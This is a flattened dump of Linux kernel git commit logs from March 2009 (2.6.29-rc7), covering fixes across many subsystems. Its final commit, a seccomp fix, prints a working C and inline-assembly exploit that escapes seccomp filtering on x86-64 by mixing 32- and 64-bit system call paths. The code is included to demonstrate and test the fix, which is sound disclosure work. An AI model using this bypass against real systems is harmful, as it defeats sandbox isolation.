9c1a7747059a65dbc2d7703978841a37db699fbf Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/fec6c6fec3e20637bee5d276fb61dd8b49a3f9cc fec6c6fec3e20637bee5d276fb61dd8b49a3f9cc 2009-03-03T17:05:22-08:00 2009-03-03T17:05:22-08:00 Linux 2.6.29-rc7 b2519fea89c36b853728767c97d5f8f720bbbc62 Linus Torvalds torvalds@linux-foundation.org 219f170a85fee524fa528ef75a0432b79af95d0b 1777f1a978153e8b887c1e1eb5160ac46098b142 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/9c1a7747059a65dbc2d7703978841a37db699fbf 9c1a7747059a65dbc2d7703978841a37db699fbf 2009-03-03T17:05:08-08:00 2009-03-03T17:05:08-08:00 Merge git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6 * git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: crypto: ixp4xx - Fix qmgr_request_queue build failure crypto: api - Fix module load deadlock with fallback algorithms 7bbbad1430fa70bcf1c4daaba7dd1dc88306c3b8 Linus Torvalds torvalds@linux-foundation.org a760a6656e6f00bb0144a42a048cf0266646e22c Krzysztof Hałasa khc@pm.waw.pl http://github.com/github/linux-2.6/commit/1777f1a978153e8b887c1e1eb5160ac46098b142 1777f1a978153e8b887c1e1eb5160ac46098b142 2009-03-03T16:01:22-08:00 2009-03-03T16:01:22-08:00 crypto: ixp4xx - Fix qmgr_request_queue build failure There is another user of IXP4xx queue manager, fix it. Signed-off-by: Krzysztof Hałasa <khc@pm.waw.pl> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au> 0bf8305adf374c98042718ded13e5c9540a5f0e7 Herbert Xu herbert@gondor.apana.org.au 3024e4a99744f5b59704a6570524a312f94f010f 54e991242850edc8c53f71fa5aa3ba7a93ce38f5 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/219f170a85fee524fa528ef75a0432b79af95d0b 219f170a85fee524fa528ef75a0432b79af95d0b 2009-03-03T14:33:20-08:00 2009-03-03T14:33:20-08:00 Merge branch 'sched-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'sched-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: sched: don't allow setuid to succeed if the user does not have rt bandwidth sched_rt: don't start timer when rt bandwidth disabled 13489998c59c5d7ac6d46b7835c7f4a6ccfab2e6 Linus Torvalds torvalds@linux-foundation.org f2a4165526a9746afc4ba5413b1756614a49d450 780eef9492b16a1543a3b2ae9f9526a735fc9856 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/3024e4a99744f5b59704a6570524a312f94f010f 3024e4a99744f5b59704a6570524a312f94f010f 2009-03-03T14:32:55-08:00 2009-03-03T14:32:55-08:00 Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86: oprofile: don't set counter width from cpuid on Core2 x86: fix init_memory_mapping() to handle small ranges 52739d6ef2af3afe3dc7b0f7ee942fd43da107c1 Linus Torvalds torvalds@linux-foundation.org b24746c7be75384d182845375c96433d713981bb 340430c572f7b2b275d39965e88bafa71693cb23 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/f2a4165526a9746afc4ba5413b1756614a49d450 f2a4165526a9746afc4ba5413b1756614a49d450 2009-03-03T14:32:37-08:00 2009-03-03T14:32:37-08:00 Merge branch 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86 mmiotrace: fix race with release_kmmio_fault_page() x86 mmiotrace: improve handling of secondary faults x86 mmiotrace: split set_page_presence() x86 mmiotrace: fix save/restore page table state x86 mmiotrace: WARN_ONCE if dis/arming a page fails x86: add far read test to testmmiotrace x86: count errors in testmmiotrace.ko d5cdf4ee27f77bfbfcb133666a538670accc9a57 Linus Torvalds torvalds@linux-foundation.org f41bf2ab998daaa2ac27348d5813e0ae21c57ded a682604838763981613e42015cd0e39f2989d6bb Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/b24746c7be75384d182845375c96433d713981bb b24746c7be75384d182845375c96433d713981bb 2009-03-03T14:32:04-08:00 2009-03-03T14:32:04-08:00 Merge branch 'core-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'core-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: rcu: Teach RCU that idle task is not quiscent state at boot fdb0371d9e59c94e18c946a88c4aa3bcfa4af9b1 Linus Torvalds torvalds@linux-foundation.org 2450cf51a1bdba7037e91b1bcc494b01c58aaf66 bdf602bd737eb07d63d6fa2da826b4751fdf9bab Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/f41bf2ab998daaa2ac27348d5813e0ae21c57ded f41bf2ab998daaa2ac27348d5813e0ae21c57ded 2009-03-03T14:12:41-08:00 2009-03-03T14:12:41-08:00 Merge master.kernel.org:/home/rmk/linux-2.6-arm * master.kernel.org:/home/rmk/linux-2.6-arm: [ARM] fix lots of ARM __devexit sillyness [ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMU [ARM] 5416/1: Use unused address in v6_early_abort [ARM] 5411/1: S3C64XX: Fix EINT unmask [ARM] at91: fix for Atmel AT91 powersaving [ARM] RiscPC: Fix etherh oops 0ad5ca31ec88b84c4ba1f6380bd971d9933f33e5 Linus Torvalds torvalds@linux-foundation.org b57ee99fab25dbc12150fe66fe54dc52bc6de784 Russell King rmk@dyn-67.arm.linux.org.uk http://github.com/github/linux-2.6/commit/bdf602bd737eb07d63d6fa2da826b4751fdf9bab bdf602bd737eb07d63d6fa2da826b4751fdf9bab 2009-03-03T13:04:04-08:00 2009-03-03T05:43:47-08:00 [ARM] fix lots of ARM __devexit sillyness `iop_adma_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o `mv_xor_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o `mv64xxx_i2c_unmap_regs' referenced in section `.devinit.text' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o `mv64xxx_i2c_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o `orion_nand_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o `pxafb_remove' referenced in section `.data' of drivers/built-in.o: defined in discarded section `.devexit.text' of drivers/built-in.o Acked-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk> 6b5478c009ce41008196abbd26961d352e056bd8 Russell King rmk+kernel@arm.linux.org.uk 25ef4a67e78e1322d55f0a38783537ed89addc02 Catalin Marinas catalin.marinas@arm.com http://github.com/github/linux-2.6/commit/b57ee99fab25dbc12150fe66fe54dc52bc6de784 b57ee99fab25dbc12150fe66fe54dc52bc6de784 2009-03-03T04:11:26-08:00 2009-03-03T02:44:12-08:00 [ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMU The cacheid_init() function assumes that if cpu_architecture() returns 7, the caches are VIPT_NONALIASING. The cpu_architecture() function returns the version of the supported MMU features (e.g. TEX remapping) but it doesn't make any assumptions about the cache type. The patch adds the checking of the Cache Type Register for the ARMv7 format. Signed-off-by: Catalin Marinas <catalin.marinas@arm.com> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk> 21bd531baa837d47ff600d36cef524b0ff4cb94c Russell King rmk+kernel@arm.linux.org.uk c8532db7f2661b63f658b9a08cf4053a3e6abb78 Seth Forshee seth.forshee@gmail.com http://github.com/github/linux-2.6/commit/25ef4a67e78e1322d55f0a38783537ed89addc02 25ef4a67e78e1322d55f0a38783537ed89addc02 2009-03-03T04:11:25-08:00 2009-03-02T13:39:36-08:00 [ARM] 5416/1: Use unused address in v6_early_abort The target of the strex instruction to clear the exlusive monitor is currently the top of the stack. If the store succeeeds this corrupts r0 in pt_regs. Use the next stack location instead of the current one to prevent any chance of corrupting an in-use address. Signed-off-by: Seth Forshee <seth.forshee@gmail.com> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk> 030221d967bba0ab8d5274159063f839e6f503cc Russell King rmk+kernel@arm.linux.org.uk 0fc59d3a01820765e5f3a723733728758b0cf577 Tim Blechmann tim@klingt.org http://github.com/github/linux-2.6/commit/780eef9492b16a1543a3b2ae9f9526a735fc9856 780eef9492b16a1543a3b2ae9f9526a735fc9856 2009-03-03T03:04:22-08:00 2009-02-19T08:34:03-08:00 x86: oprofile: don't set counter width from cpuid on Core2 Impact: fix stuck NMIs and non-working oprofile on certain CPUs Resetting the counter width of the performance counters on Intel's Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode. This should fix bug #12395: http://bugzilla.kernel.org/show_bug.cgi?id=12395 Signed-off-by: Tim Blechmann <tim@klingt.org> Signed-off-by: Robert Richter <robert.richter@amd.com> LKML-Reference: <20090303100412.GC10085@erda.amd.com> Cc: <stable@kernel.org> Signed-off-by: Ingo Molnar <mingo@elte.hu> d3c4942a98845558d45e4b36d5350ebf41cde524 Ingo Molnar mingo@elte.hu 2450cf51a1bdba7037e91b1bcc494b01c58aaf66 Yinghai Lu yinghai@kernel.org http://github.com/github/linux-2.6/commit/0fc59d3a01820765e5f3a723733728758b0cf577 0fc59d3a01820765e5f3a723733728758b0cf577 2009-03-02T23:50:22-08:00 2009-03-02T23:36:13-08:00 x86: fix init_memory_mapping() to handle small ranges Impact: fix failed EFI bootup in certain circumstances Ying Huang found init_memory_mapping() has problem with small ranges less than 2M when he tried to direct map the EFI runtime code out of max_low_pfn_mapped. It turns out we never considered that case and didn't check the range... Reported-by: Ying Huang <ying.huang@intel.com> Signed-off-by: Yinghai Lu <yinghai@kernel.org> Cc: Brian Maly <bmaly@redhat.com> LKML-Reference: <49ACDDED.1060508@kernel.org> Signed-off-by: Ingo Molnar <mingo@elte.hu> 1feae906b3ea81e6e8840900c14d63c1350998b5 Ingo Molnar mingo@elte.hu 43e407071d97c1a07a4601896581554a6b3bfd67 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/2450cf51a1bdba7037e91b1bcc494b01c58aaf66 2450cf51a1bdba7037e91b1bcc494b01c58aaf66 2009-03-02T16:23:33-08:00 2009-03-02T16:23:33-08:00 Revert "menu: fix embedded menu snafu" This reverts commit 155b25bcc28631a5b5230191aa3f56c40dfffa3f, which was totally wrong - the "embedded" options still exists (very much so) even on non-embedded platforms. It's just that we don't bother with actually asking about them when we're not embedded, we just take their default values (which is usually 'y' - the options add features that may not be worth it in a constrained environment). Noticed-by: Andrew Morton <akpm@linux-foundation.org> Cc: Randy Dunlap <randy.dunlap@oracle.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> 406b27ef95cb13f5d99a3b8bfd0a2b2310d33e99 Linus Torvalds torvalds@linux-foundation.org 155b25bcc28631a5b5230191aa3f56c40dfffa3f 299eb93c5f651b2bc368ada67d8471e4c575fa21 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/43e407071d97c1a07a4601896581554a6b3bfd67 43e407071d97c1a07a4601896581554a6b3bfd67 2009-03-02T16:11:36-08:00 2009-03-02T16:11:36-08:00 Merge branch 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6 * 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6: drm/i915: Fix use-before-null-check in i915_irq_emit(). drm: Avoid client deadlocks when the master disappears. drm: Wake up all lock waiters when the master disappears. drm: Don't return ERESTARTSYS to user-space. 6f5bbf72bda0c983373a315d62dc229e591fca89 Linus Torvalds torvalds@linux-foundation.org fda714c29cdf360464059044b221450decb4b913 Eric Anholt eric@anholt.net http://github.com/github/linux-2.6/commit/299eb93c5f651b2bc368ada67d8471e4c575fa21 299eb93c5f651b2bc368ada67d8471e4c575fa21 2009-03-02T15:53:05-08:00 2009-02-24T22:14:12-08:00 drm/i915: Fix use-before-null-check in i915_irq_emit(). This could be triggered by a client asking to emit an irq when the device wasn't initialized. Signed-off-by: Eric Anholt <eric@anholt.net> Signed-off-by: Dave Airlie <airlied@linux.ie> 342c43be5b83b399a80b9a1f2e9b4ff1f0cd6eca Dave Airlie airlied@linux.ie 171901d15deeef61aa8e1b0d0772404f39691b73 Thomas Hellstrom thellstrom@vmware.com http://github.com/github/linux-2.6/commit/fda714c29cdf360464059044b221450decb4b913 fda714c29cdf360464059044b221450decb4b913 2009-03-02T15:50:20-08:00 2009-03-02T02:10:56-08:00 drm: Avoid client deadlocks when the master disappears. This is done by 1) Wake up lock waiters when we close the master file descriptor. Not when the master structure is removed, since the latter requires the waiters themselves to release the refcount on the master structure -> Deadlock. 2) Send a SIGTERM to all clients waiting for the lock. Normally these clients will get a SIGPIPE when the X server dies, but clients may also spin trying to grab the DRM lock, without getting any sort of notification. Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com> Signed-off-by: Dave Airlie <airlied@linux.ie> dc985f3c861d9490a1b5ffe82583497b6fe64236 Dave Airlie airlied@linux.ie 4d77c88e912e5eb9480432af09e950ca8995c253 Thomas Hellstrom thellstrom@vmware.com http://github.com/github/linux-2.6/commit/171901d15deeef61aa8e1b0d0772404f39691b73 171901d15deeef61aa8e1b0d0772404f39691b73 2009-03-02T15:49:54-08:00 2009-03-02T02:10:55-08:00 drm: Wake up all lock waiters when the master disappears. Currently only one waiter is woken up, leaving other waiters hanging waiting for the DRM lock. Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com> Signed-off-by: Dave Airlie <airlied@linux.ie> 7b455223711f255c70ecc8ed43b2a64acdf3547d Dave Airlie airlied@linux.ie 778ef1e6cbb049c9bcbf405936ee6f2b6e451892 Thomas Hellstrom thellstrom@vmware.com http://github.com/github/linux-2.6/commit/4d77c88e912e5eb9480432af09e950ca8995c253 4d77c88e912e5eb9480432af09e950ca8995c253 2009-03-02T15:49:46-08:00 2009-03-02T02:10:54-08:00 drm: Don't return ERESTARTSYS to user-space. That return code is for in-kernel use only. Use EINTR instead. Signed-off-by: Thomas Hellstrom <thellstrom@vmware.com> Signed-off-by: Dave Airlie <airlied@linux.ie> 7e11cab663107a7beb0fa25e79bb33baa2c6de90 Dave Airlie airlied@linux.ie d86a1c3de557c019696499ff211b91232fad0fe9 Randy Dunlap randy.dunlap@oracle.com http://github.com/github/linux-2.6/commit/155b25bcc28631a5b5230191aa3f56c40dfffa3f 155b25bcc28631a5b5230191aa3f56c40dfffa3f 2009-03-02T15:49:16-08:00 2009-03-02T14:14:06-08:00 menu: fix embedded menu snafu The COMPAT_BRK kconfig symbol does not depend on EMBEDDED, but it is in the midst of the EMBEDDED menu symbols, so it mucks up the EMBEDDED menu. Fix by moving it to just after all of the EMBEDDED menu symbols. Also, surround all of the EMBEDDED symbols with "if EMBEDDED"/"endif" so that this EMBEDDED block is clearer. Signed-off-by: Randy Dunlap <randy.dunlap@oracle.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> 078d3dbce92fbe568671ee0d16f60f2ec27bb74e Linus Torvalds torvalds@linux-foundation.org bd5e89c8132f1cab75684344faa5e53517727c3e a0874897b1ba106298e4303a25456a473fc40f3d Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/d86a1c3de557c019696499ff211b91232fad0fe9 d86a1c3de557c019696499ff211b91232fad0fe9 2009-03-02T15:48:00-08:00 2009-03-02T15:48:00-08:00 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc: sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip sdhci: Add quirk for controllers with no end-of-busy IRQ 761408ee7c79cd19aa20bf6b243b598d016d6dd0 Linus Torvalds torvalds@linux-foundation.org 2d44947a56f7a567f2e9250dc458a6288d774f9c 38f1df27e3191d76e983cb9c6b4392582fd32fda Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/bd5e89c8132f1cab75684344faa5e53517727c3e bd5e89c8132f1cab75684344faa5e53517727c3e 2009-03-02T15:47:19-08:00 2009-03-02T15:47:19-08:00 Merge branch 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6 * 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6: ALSA: hda - Add probe_mask default for Toshiba laptop with ALC268 ALSA: hda - Add quirk for new HP xw series ALSA: hda - Fix digital mic on dell-m4-1 and dell-m4-3 e5aae5e147b2a5537e98b3d09a5d1c9e84e83b29 Linus Torvalds torvalds@linux-foundation.org 359aa09be9b2b343e01306cb4a6f29d7159d7498 5ce04e3de8c36ba37c56e94e3c4dc7973c7f546c Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/2d44947a56f7a567f2e9250dc458a6288d774f9c 2d44947a56f7a567f2e9250dc458a6288d774f9c 2009-03-02T15:47:01-08:00 2009-03-02T15:47:01-08:00 Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: fix warning in io_mapping_map_wc() x86: i915 needs pgprot_writecombine() and is_io_mapping_possible() 9156958b53ef544b314c9af708f43a6e425dfc72 Linus Torvalds torvalds@linux-foundation.org c742b4bf7a180619831783dcdad6aec062587e54 52c0326beaa3cb0049d0f1c51c6ad5d4a04e4430 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/359aa09be9b2b343e01306cb4a6f29d7159d7498 359aa09be9b2b343e01306cb4a6f29d7159d7498 2009-03-02T15:46:09-08:00 2009-03-02T15:46:09-08:00 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6 * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6: (29 commits) zaurus: add usb id for motomagx phones usbnet: make usbnet_get_link() fall back to ethtool_op_get_link() veth: Fix carrier detect cdc_ether: add usb id for Ericsson F3507g r8169: read MAC address from EEPROM on init (2nd attempt) tcp: fix retrans_out leaks net headers: export dcbnl.h net headers: cleanup dcbnl.h netpoll: Add drop checks to all entry points gianfar: Do right check on num_txbdfree pkt_sched: sch_drr: Fix oops in drr_change_class. b44: Disable device on shutdown b44: Unconditionally enable interrupt routing on reset net: fix hp-plus build error libertas: fix misuse of netdev_priv() and dev->ml_priv ipv6: don't use tw net when accounting for recycled tw asix: new device ids tcp_scalable: Update malformed & dead url netfilter: xt_recent: fix proc-file addition/removal of IPv4 addresses netxen: handle pci bar 0 mapping failure ... 8d0347e9aee4ea7b147b9daa681d4b7ecefc1ee6 Linus Torvalds torvalds@linux-foundation.org fbfd8b5622a18afefb53a69d31fbddecba404f64 d7f59dc4642ce2fc7b79fcd4ec02ffce7f21eb02 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/c742b4bf7a180619831783dcdad6aec062587e54 c742b4bf7a180619831783dcdad6aec062587e54 2009-03-02T15:44:08-08:00 2009-03-02T15:44:08-08:00 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6 * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6: selinux: Fix a panic in selinux_netlbl_inode_permission() fea01d86c4da765bb7f8bf016c431e80a6aa14ce Linus Torvalds torvalds@linux-foundation.org 6b3bf2049180c4d4d6f4432f9148621410c179a9 Karsten Keil Karsten-Keil@t-online.de http://github.com/github/linux-2.6/commit/fbfd8b5622a18afefb53a69d31fbddecba404f64 fbfd8b5622a18afefb53a69d31fbddecba404f64 2009-03-02T15:43:40-08:00 2009-03-01T09:04:53-08:00 Change email address Since I will loose the old address soon, please change it. Signed-off-by: Karsten Keil <kkeil@linux-pingi.de> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> 6d44f8ff989c6c2c6ca9433f67125b8ce33cd0f2 Linus Torvalds torvalds@linux-foundation.org 36b31106b725ac2ca4941d4ee8dbb67df72ed5dd 9ab7b25e6a30d2292bd6d4913b71c918ee1e21b4 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/6b3bf2049180c4d4d6f4432f9148621410c179a9 6b3bf2049180c4d4d6f4432f9148621410c179a9 2009-03-02T15:43:03-08:00 2009-03-02T15:43:03-08:00 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input: Input: elantech - touchpad driver miss-recognising logitech mice Input: synaptics - ensure we reset the device on resume Input: usbtouchscreen - fix eGalax HID ignoring Input: ambakmi - fix timeout handling in amba_kmi_write() Input: pxa930_trkball - fix write timeout handling Input: struct device - replace bus_id with dev_name(), dev_set_name() Input: bf54x-keys - fix debounce time validation Input: spitzkbd - mark probe function as __devinit Input: omap-keypad - mark probe function as __devinit Input: corgi_ts - mark probe function as __devinit Input: corgikbd - mark probe function as __devinit Input: uvc - the button on the camera is KEY_CAMERA Input: psmouse - make MOUSE_PS2_LIFEBOOK depend on X86 Input: atkbd - make forced_release_keys[] static Input: usbtouchscreen - allow reporting calibrated data 4f8d936d792ef3740d40189053155f7be331f7b0 Linus Torvalds torvalds@linux-foundation.org 7b88ed671a7157e427811db208bb167c49f33352 8f64b32eb73fbfe9f38c4123121b63ee409278a7 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/36b31106b725ac2ca4941d4ee8dbb67df72ed5dd 36b31106b725ac2ca4941d4ee8dbb67df72ed5dd 2009-03-02T15:42:26-08:00 2009-03-02T15:42:26-08:00 Merge branch 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 * 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4: ext4: don't call jbd2_journal_force_commit_nested without journal ext4: Reorder fs/Makefile so that ext2 root fs's are mounted using ext2 ext4: Remove duplicate call to ext4_commit_super() in ext4_freeze() 81a38dfa56d58ce3be085ed8b31fac6f41ef0571 Linus Torvalds torvalds@linux-foundation.org 5b1017404aea6d2e552e991b3fd814d839e9cd67 5ce7868e159a3ee4ddf95f8522643991fea97cf2 Linus Torvalds torvalds@linux-foundation.org http://github.com/github/linux-2.6/commit/7b88ed671a7157e427811db208bb167c49f33352 7b88ed671a7157e427811db208bb167c49f33352 2009-03-02T15:41:59-08:00 2009-03-02T15:41:59-08:00 Merge git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6 * git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6: [SCSI] mpt: fix disable lsi sas to use msi as default [SCSI] fix ABORTED_COMMAND looping forever problem [SCSI] sd: revive sd_index_lock [SCSI] cxgb3i: update the driver version to 1.0.1 [SCSI] cxgb3i: Fix spelling errors in documentation [SCSI] cxgb3i: added missing include in cxgb3i_ddp.h [SCSI] cxgb3i: Outgoing pdus need to observe skb's MAX_SKB_FRAGS [SCSI] cxgb3i: added per-task data to track transmit progress [SCSI] cxgb3i: transmit work-request fixes [SCSI] hptiop: Add new PCI device ID 91e5f0d291dad59b096051b48a3b927b7c2e5c75 Linus Torvalds torvalds@linux-foundation.org ccbe495caa5e604b04d5a31d7459a6f6a76a756c Roland McGrath roland@redhat.com http://github.com/github/linux-2.6/commit/5b1017404aea6d2e552e991b3fd814d839e9cd67 5b1017404aea6d2e552e991b3fd814d839e9cd67 2009-03-02T15:41:30-08:00 2009-02-27T23:25:54-08:00 x86-64: seccomp: fix 32/64 syscall hole On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> 8af3679beab1541d8c77afe28bc261196f03c083 Linus Torvalds torvalds@linux-foundation.org